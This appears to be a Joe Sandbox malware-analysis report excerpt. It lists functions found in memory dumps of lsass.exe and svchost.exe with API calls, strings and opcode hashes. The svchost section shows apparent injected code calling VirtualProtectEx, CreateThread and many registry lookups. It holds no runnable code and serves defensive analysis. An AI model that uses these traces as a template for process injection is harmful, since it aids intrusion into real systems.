Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 748eaec06fdd8304175141e91d7fcb10eea3299cf276c1654e8c92baf0a6311d
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: 6DF01C66718B84C2FA148B53B99C11D6665AB48FD0F0A9233EF5A4BB2ADF3DC45D8700

Function 00000202C0AEBC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000202C0AEBCBD
GetProcAddress.KERNEL32 ref: 00000202C0AEBCD3
FreeLibrary.KERNEL32 ref: 00000202C0AEBCFA

Strings

mscoree.dll, xrefs: 00000202C0AEBCB4
CorExitProcess, xrefs: 00000202C0AEBCCC

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: b1dae043e590163143f4e82ec39ab210fa29368e4bf0a17308b2a9fdf74dbffb
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 65F06262211B45C1FB108B24E8CC35E6360EB88765F55021BCB6A452F6DF3DC55C8700

Function 00000202C0AE50D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000202C0AE5156

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: cdd9b78ec5eaf04cb1b2f14923f4cedba8257b9bf05445ea44050982a578b50b
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: 6C02A432219B84C6EB60CB55F49875EB7A1F384794F110117EBDE87BAADB78C498CB00

Function 00000202C0AE5710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000202C0AE5726

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: 76b413ec14e38a6ac9e88e25468b0616ac705ba1cdb0ca70ff7d6d8fad0dbab9
Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: 6061B676619B80C6F660CB15F48871E77A0F388794F110517EBDE47BAADB78C968CB40

Function 00000202C0AF4104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000202C0AF412C
_set_statfp.LIBCMT ref: 00000202C0AF4147
_set_statfp.LIBCMT ref: 00000202C0AF4163
_set_statfp.LIBCMT ref: 00000202C0AF419F

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: aadaf6c08f9748136de9f6cbceaa287ca2a5a32013c1ebda6f4ef6558c209bf0
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: EE119E23A10B54A9F7641568E8DE36D11406B683F8F0A0727AB76076EB8B2AC8CD424C

Function 00000202C0AC3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000202C0AC352C
_set_statfp.LIBCMT ref: 00000202C0AC3547
_set_statfp.LIBCMT ref: 00000202C0AC3563
_set_statfp.LIBCMT ref: 00000202C0AC359F

Memory Dump Source

Source File: 0000001A.00000002.3152046246.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ab0000_lsass.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 2438009d4eccd0bfdc5c9a2303f4341fa76b055f83bc79e43529a95e1e4287f6
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 5B112533A5CF09C9FAA42128E4CE37D10D07B59370F4B863BAB76163E7CA6AC84C4201

Function 00000202C0ABF040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000202C0ABF124

Strings

Tuesday, xrefs: 00000202C0ABF0F4
Wednesday, xrefs: 00000202C0ABF1ED
or copy constructor iterator', xrefs: 00000202C0ABF25A, 00000202C0ABF275

Memory Dump Source

Source File: 0000001A.00000002.3152046246.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ab0000_lsass.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 26cf979074d90fcf05d85e544fcdcf7579b7cc95cef60043f929738aa5a5c4dc
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: F2610536600760C6FA69DB69E5CC76E6AA0F789780F5B8917CB0A177A7DB34C84DC300

Function 00000202C0AEAA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00000202C0AEAA68
_CallSETranslator.LIBVCRUNTIME ref: 00000202C0AEAAB7

Strings

MOC, xrefs: 00000202C0AEAA7C
RCC, xrefs: 00000202C0AEAA85

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 558256b13703980bb35bc78ab76fb44dce15fdc78b8fdb1fb2b32ce49efec02f
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 36614832600B84CAFB20DF65D48839D77A0F399B88F154217EF9917B9ADB78D5A9C700

Function 00000202C0AEAD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000202C0AEADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000202C0AEAE88

Strings

csm, xrefs: 00000202C0AEADC2
csm, xrefs: 00000202C0AEAEDA

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 97304d35c4b486749e002e92b9cf81982149fd581c5d11b448b14438c7f928ed
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 44514C721007C0CAFB648B2595CC35D77A0F766B95F1A4217DBE947B96CB38E4A9CB00

Function 00000202C0ABA178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000202C0ABA1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000202C0ABA288

Strings

csm, xrefs: 00000202C0ABA2DA
csm, xrefs: 00000202C0ABA1C2

Memory Dump Source

Source File: 0000001A.00000002.3152046246.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ab0000_lsass.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 19c43cd71e60161d93812c77d0e4ac8737510cff6eeb5711627b4654a467fa8f
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 44516D36104780CAFB748B25959C39C7BA0F365B94F1A8217DB998BBD7CB39D499C700

Function 00000202C0AB8405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000202C0AB8413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000202C0AB84A8

Strings

f, xrefs: 00000202C0AB8426
csm, xrefs: 00000202C0AB848E

Memory Dump Source

Source File: 0000001A.00000002.3152046246.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ab0000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 8446a618bbd1140fecb175adc7a255fff733e8375c6260d7fd1f59283cc66251
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 1151AB32601700CAFB29CF29E48CB5D3795F354B98F568227DB164378AEB35D889C704

Function 00000202C0AB83E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000202C0AB8413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000202C0AB84A8

Strings

f, xrefs: 00000202C0AB8426
csm, xrefs: 00000202C0AB848E

Memory Dump Source

Source File: 0000001A.00000002.3152046246.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ab0000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 90803dd6b9b29f9c4154e969358d487dae67566bd5ce1f620f43925fcc542657
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 7F316A32201740D6FB299F29E88C75D7BA4F340B98F168117AF5A07786DB39C948C704

Function 00000202C0AF2058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000202C0AF20D7
WriteFile.KERNEL32 ref: 00000202C0AF239F
WriteFile.KERNEL32 ref: 00000202C0AF23E5
GetLastError.KERNEL32 ref: 00000202C0AF249B

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 5415e984cde6a1f954e745032577872c235aef40fdbcb0d3a10d64624b9653db
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: 99D1BC73B14B80C9F721CFA9D48829C3BA1F354B98F158217CF5A97B9ADA39C54AC740

Function 00000202C0AE14A4 Relevance: 6.3, APIs: 5, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000202C0AE14C5
HeapFree.KERNEL32 ref: 00000202C0AE14D4
GetProcessHeap.KERNEL32 ref: 00000202C0AE14E1
HeapFree.KERNEL32 ref: 00000202C0AE14F0
GetProcessHeap.KERNEL32 ref: 00000202C0AE1500

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: fccdced75e0e166058a65fb9f01cb5bc762ae8e924348a52df6b038ca287fb4d
Instruction ID: e1a4700da16e8d3ef1b17da53b22238d79ed5d8b917823312ea25b365b8a4f34
Opcode Fuzzy Hash: fccdced75e0e166058a65fb9f01cb5bc762ae8e924348a52df6b038ca287fb4d
Instruction Fuzzy Hash: 1E117977500B90C6F714DF62A88C14DB7A4F788F81F0A4127EB4903766DE39C0598744

Function 00000202C0AF2980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 00000202C0AF2A9C
GetLastError.KERNEL32 ref: 00000202C0AF2B27

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: 7750c07c3da3ab5777ee1fb19e88fe5ee8ba8c540cdc789170c23b37d6888931
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: D9918A73610B50C9FB61DF6594CC7AD2BA0B744B88F56410BDF4A67A96DB3AC88BC700

Function 00000202C0AE7960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000202C0AE798C
GetCurrentThreadId.KERNEL32 ref: 00000202C0AE799A
GetCurrentProcessId.KERNEL32 ref: 00000202C0AE79A6
QueryPerformanceCounter.KERNEL32 ref: 00000202C0AE79B6

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: c1e121f40b66a15715f8d269b70c98ee374ca54bb48e74cdb6f3174d14493375
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: 34111C22710B01C9FB00CB60E8983AC33A4F719B58F450E22DB6D467A5DB78C5988380

Function 00000202C0AB9E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 00000202C0AB9EB7

Strings

RCC, xrefs: 00000202C0AB9E85
MOC, xrefs: 00000202C0AB9E7C

Memory Dump Source

Source File: 0000001A.00000002.3152046246.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ab0000_lsass.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: f3028f0bacb26f4c6116040a1e45f79bacc9d5a175de68b6d573a429fff7c7f3
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: B7614532A00B84CAFB24DF65D4883AD77A0F748B98F154217EF4917B9ADB38D599C704

Function 00000202C0AE2330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000202C0AE2416
StrCpyW.SHLWAPI ref: 00000202C0AE242D

Strings

\\.\pipe\, xrefs: 00000202C0AE2421

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: 3514571e2c1d6cd3889b28a5e79674fb4b07f5075b2e224e86b20f94a4d05b12
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: 2B5180322087C1C1F6649B29A5DC3BEA791F385B80F560127DFEA03B9BDA39C52D8750

Function 00000202C0AF26F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000202C0AF2807
GetLastError.KERNEL32 ref: 00000202C0AF2829

Strings

U, xrefs: 00000202C0AF27B3

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: b84669cd5d919c91a09ffca97e8587df6a0950af1a2baa035680203c31bd1311
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: 93418E63614B80C6EB209F25E8883AEA7A0F798794F524023EF4D87795EB39C44AC740

Function 00000202C0AE94A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000202C0AE94F0
RaiseException.KERNEL32 ref: 00000202C0AE9531

Strings

csm, xrefs: 00000202C0AE951E

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: 149d407967b934cd8ed689359ce0485475af0033eaf3f8f7976efa754672e473
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 8F112B36214B8082EB618B15E48835D77E5F788B94F594222EFCC077A9DF3DC569CB04

Function 00000202C0AB7356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000202C0AB737C

Strings

ierarchy Descriptor', xrefs: 00000202C0AB7381
riptor at (, xrefs: 00000202C0AB7364

Memory Dump Source

Source File: 0000001A.00000002.3152046246.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ab0000_lsass.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 8da40ad284d153a9b89d1544e12ba7a913fe1935213764a8cba5128ad5ea2d85
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: A1E08661641B44D0EF018F31E88829C33A4DB58B64F9A91239A5C06312FA38D1EDC300

Function 00000202C0AB73B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000202C0AB73D8

Strings

Locator', xrefs: 00000202C0AB73DD
riptor at (, xrefs: 00000202C0AB73C0

Memory Dump Source

Source File: 0000001A.00000002.3152046246.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ab0000_lsass.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 5205816057d34bf06f4ea810c880042c8f0231ff55e9ce8539c58bb0b426eeb2
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 30E08661601F44C0EF058F31D88419C73A4E758B54F8A9123DA4C06312EA38D1E9C300

Function 00000202C0AE1BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000202C0AE1C2D
HeapAlloc.KERNEL32 ref: 00000202C0AE1C3B
GetProcessHeap.KERNEL32 ref: 00000202C0AE1C77
HeapFree.KERNEL32 ref: 00000202C0AE1C85

Part of subcall function 00000202C0AE152C: StrCmpIW.SHLWAPI ref: 00000202C0AE155D

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 0bfdd2f4f70d0c77588d297d632a834cc4e271defd7936f82574c36193d19b8d
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: 6C119A26601B94C1FA44CB66A88C22D63A0FBC8FC0F1A412BDF8D83766DF39C45AC300

Analysis Process: svchost.exePID: 920, Parent PID: 6952COMMON

Execution Graph

Execution Coverage:	0.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	73
Total number of Limit Nodes:	2

Executed Functions

Function 000002A66130328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000002A6613032AE
PathFindFileNameW.SHLWAPI ref: 000002A6613032BD

Part of subcall function 000002A661303844: StrCmpNIW.SHLWAPI ref: 000002A66130385C

Part of subcall function 000002A661303790: GetModuleHandleW.KERNEL32 ref: 000002A66130379E
Part of subcall function 000002A661303790: GetCurrentProcess.KERNEL32 ref: 000002A6613037CC
Part of subcall function 000002A661303790: VirtualProtectEx.KERNEL32 ref: 000002A6613037EE
Part of subcall function 000002A661303790: GetCurrentProcess.KERNEL32 ref: 000002A661303809
Part of subcall function 000002A661303790: VirtualProtectEx.KERNEL32 ref: 000002A66130382A

CreateThread.KERNEL32 ref: 000002A66130330B

Part of subcall function 000002A661301D14: GetCurrentThread.KERNEL32 ref: 000002A661301D1F

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: 077229c1eed964279b07ec97370b47b92095969d86f76acc536d4c6ada0caa5e
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: DC11AD70F246408BFB60EB61F98DB6923ECA746F46F8C41249907A3691EF7CC04C8283

Function 000002A661301ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000002A661301628: GetProcessHeap.KERNEL32 ref: 000002A661301633
Part of subcall function 000002A661301628: HeapAlloc.KERNEL32 ref: 000002A661301642
Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A6613016B2
Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A6613016DF
Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A6613016F9
Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A661301719
Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A661301734
Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A661301754
Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A66130176F
Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A66130178F
Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A6613017AA
Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A6613017CA

Sleep.KERNEL32 ref: 000002A661301AD7
SleepEx.KERNELBASE ref: 000002A661301ADD

Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A6613017E5
Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A661301805
Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A661301820
Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A661301840
Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A66130185B
Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A66130187B
Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A661301896
Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A6613018A0

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
